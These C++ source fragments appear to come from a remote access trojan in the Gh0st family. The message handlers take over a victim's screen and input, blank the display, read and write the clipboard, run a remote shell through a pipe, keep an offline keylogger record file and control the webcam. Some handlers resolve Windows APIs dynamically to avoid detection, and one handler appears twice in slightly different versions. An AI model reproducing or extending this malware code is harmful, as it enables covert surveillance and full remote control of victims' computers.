void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
m_lpAudio->playBuffer(lpBuffer, nSize);
}
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开，WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
typedef BOOL (WINAPI *BlockInputT)
(
BOOL fBlockIt
);
BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
// 远程仍然可以操作
pBlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
pBlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
BlockInput(false);
ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
typedef BOOL (WINAPI *WriteFileT)
(
__in HANDLE hFile,
__in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile");
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
pWriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
TCHAR szModule [MAX_PATH];
if (lpBuffer[0] == COMMAND_NEXT)
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
NotifyDialogIsOpen();
}
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
{
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
if (!m_pTShared->bIsOffline)
DeleteFile(m_pTShared->strRecordFile);
else
{
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
CloseHandle(hFile);
}
}
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
{
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH);
CloseHandle(hFile);
CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH);
}
}
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_WEBCAM_ENABLECOMPRESS: // 要求启用压缩
{
// 如果解码器初始化正常，就启动压缩功能
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
}
break;
case COMMAND_WEBCAM_DISABLECOMPRESS:
InterlockedExchange((LPLONG)&m_bIsCompress, false);
break;
case COMMAND_WEBCAM_RESIZE:
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
break;
default:
break;
}
}
